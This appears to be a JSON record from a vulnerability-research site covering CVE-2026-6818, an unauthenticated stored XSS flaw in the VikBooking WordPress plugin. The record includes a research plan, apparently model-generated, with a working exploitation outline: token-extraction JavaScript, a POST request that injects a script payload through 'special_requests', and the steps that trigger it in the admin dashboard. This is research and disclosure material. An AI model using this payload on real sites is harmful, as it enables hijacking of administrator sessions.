[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fh6A57oD9yUS57MLprjjTrkv2pIj4solKBgREGRbmDxI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-6818","vikbooking-hotel-booking-engine-pms-unauthenticated-stored-cross-site-scripting-via-specialrequests-parameter","VikBooking Hotel Booking Engine & PMS \u003C= 1.8.8 - Unauthenticated Stored Cross-Site Scripting via 'special_requests' Parameter","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'special_requests' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","vikbooking",null,"\u003C=1.8.8","1.8.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-07 23:14:46","2026-07-08 11:30:31",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F13a96e78-c83c-4ff1-a751-3dbaeb683d9d?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fcontroller.php","admin\u002Fcontrollers\u002Fpayschedules.php","admin\u002Fcontrollers\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fpayschedules.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Freservation.php","admin\u002Fhelpers\u002Fsrc\u002Ftaxonomy\u002Fsummary.php","admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php","researched",false,3,"This vulnerability is a **Stored Cross-Site Scripting (XSS)** vulnerability in the **VikBooking Hotel Booking Engine & PMS** plugin. It allows unauthenticated attackers to inject malicious scripts into the `special_requests` parameter during a room reservation. The payload is stored in the database and executed when an administrator views the reservation details in the WordPress dashboard.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Stored Cross-Site Scripting (XSS)\n*   **Vulnerable Parameter:** `special_requests`\n*   **Sink:** The reservation details view in the admin dashboard (e.g., `admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php` and reservation list views).\n*   **Root Cause:** The plugin fails to sanitize the `special_requests` input during order creation and fails to escape the output when rendering the booking details for administrators.\n*   **Authentication:** None (Unauthenticated).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The front-end booking confirmation page (typically a page containing the `[vikbooking_search]` or `[vikbooking_room_details]` shortcode).\n*   **Action:** The final step of the booking process where customer details are submitted.\n*   **Payload Location:** The `special_requests` HTTP POST parameter.\n*   **Preconditions:** At least one room must be published and available for booking to reach the checkout step.\n\n### 3. Code Flow\nThe plugin follows a Joomla-inspired architecture adapted for WordPress.\n1.  **Entry Point (Front-end):** A user initiates a booking. At the \"Customer Details\" or \"Review\" step, the `special_requests` field is filled.\n2.  **Processing:** The request is typically handled by a front-end controller (e.g., `VikBookingController` task `saveorder` or `confirm`).\n3.  **Storage:** The `VBOModelReservation::save()` (or similar method in the reservation model) receives the data. It uses `$app->input->get()` or `$app->input->post->getString()` with insufficient filtering. The raw or poorly sanitized string is inserted into the `#__vikbooking_orders` table in the `special_requests` column.\n4.  **Sink (Admin):** An administrator logs in and navigates to **VikBooking > Reservations**. When viewing the specific booking, the widget `VikBookingAdminWidgetBookingDetails` (defined in `admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php`) fetches the record:\n    ```php\n    $q = $dbo->getQuery(true)\n        ->select($dbo->qn('o') . '.*')\n        ->from($dbo->qn('#__vikbooking_orders', 'o'));\n    \u002F\u002F ... filters ...\n    $details = $dbo->loadAssoc();\n    ```\n5.  **Execution:** The `$details['special_requests']` value is then echoed in an admin template without using `esc_html()` or similar WordPress escaping functions, causing the script to execute in the administrator's browser.\n\n### 4. Nonce Acquisition Strategy\nVikBooking does not typically use standard WordPress nonces for the unauthenticated booking flow. Instead, it uses a **session-based token** (Joomla style).\n1.  **Identify Shortcode:** Locate a page with the `[vikbooking_search]` shortcode.\n2.  **Navigate Flow:** Use `browser_navigate` to go through the booking steps (Search -> Select Room -> Customer Details).\n3.  **Extract Token:** On the \"Customer Details\" page, there is usually a hidden input field with a name that is a 32-character MD5 hash and a value of `1`.\n    *   Example: `\u003Cinput type=\"hidden\" name=\"59d...a92\" value=\"1\" \u002F>`.\n4.  **JS Extraction:** Use `browser_eval` to find this token:\n    ```javascript\n    \u002F\u002F Find the hidden input that has a 32-char hex name and value '1'\n    Array.from(document.querySelectorAll('input[type=\"hidden\"]'))\n      .find(i => \u002F^[a-f0-9]{32}$\u002F.test(i.name) && i.value === '1')?.name;\n    ```\n5.  **Bypass:** If the plugin does not enforce `JSession::checkToken()` for unauthenticated order saves (which is common to prevent session expiration issues during long checkouts), the request may succeed without it.\n\n### 5. Exploitation Strategy\n**Step 1: Setup**\n*   Ensure a room exists and is bookable.\n*   Note the room ID and a valid rate plan ID.\n\n**Step 2: Submission**\nThe exploit involves mimicking the final POST request of the booking flow.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Findex.php?option=com_vikbooking&task=saveorder` (or the URL of the booking page).\n*   **Method:** `POST`\n*   **Payload:**\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php?action=vikbooking_save_order HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    idroom=1&idtar=1&checkin=2026-10-10&checkout=2026-10-12&first_name=Attacker&last_name=XSS&email=hacker@example.com&phone=123456&special_requests=\u003Cscript>alert(document.domain)\u003C\u002Fscript>&[TOKEN]=1\n    ```\n    *(Note: Parameter names may vary slightly; use Playwright to inspect the actual form on the Customer Details page).*\n\n**Step 3: Triggering**\n*   Log in as Administrator.\n*   Navigate to `\u002Fwp-admin\u002Fadmin.php?page=vikbooking&view=reservations`.\n*   Click on the \"Edit\" or \"Details\" icon for the new reservation.\n\n### 6. Test Data Setup\n1.  **Create Room:** Use WP-CLI or manual entry to ensure a room is available.\n    *   `wp vikbooking room create --name=\"Luxury Suite\" --units=5 --price=100` (assuming CLI exists) or via DB.\n2.  **Publish Page:** Create a page with the search shortcode.\n    *   `wp post create --post_type=page --post_title=\"Book Now\" --post_status=publish --post_content='[vikbooking_search]'`\n\n### 7. Expected Results\n*   The booking is successfully created.\n*   When the admin views the reservation in the dashboard, an alert box appearing with the domain name (or a fetch to a collaborator) confirms the XSS execution in the admin's session.\n\n### 8. Verification Steps\nAfter the HTTP request:\n1.  **Check DB:** Verify the payload is stored exactly as sent.\n    ```bash\n    wp db query \"SELECT special_requests FROM wp_vikbooking_orders ORDER BY id DESC LIMIT 1\"\n    ```\n2.  **Check Admin Page Render:** Use `browser_navigate` to the reservation details and check for the injected tag.\n\n### 9. Alternative Approaches\n*   **Quote Request:** If the booking flow is complex, the `quote` controller (`admin\u002Fcontrollers\u002Fquote.php`) might also be vulnerable if exposed to front-end users, using similar parameters.\n*   **Other Parameters:** If `special_requests` is escaped, test `first_name` or `last_name`, as these are often stored in the same `orders` table and reflected in the same views.","gemini-3-flash-preview","2026-07-25 08:29:44","2026-07-25 08:30:45",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.8.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags"]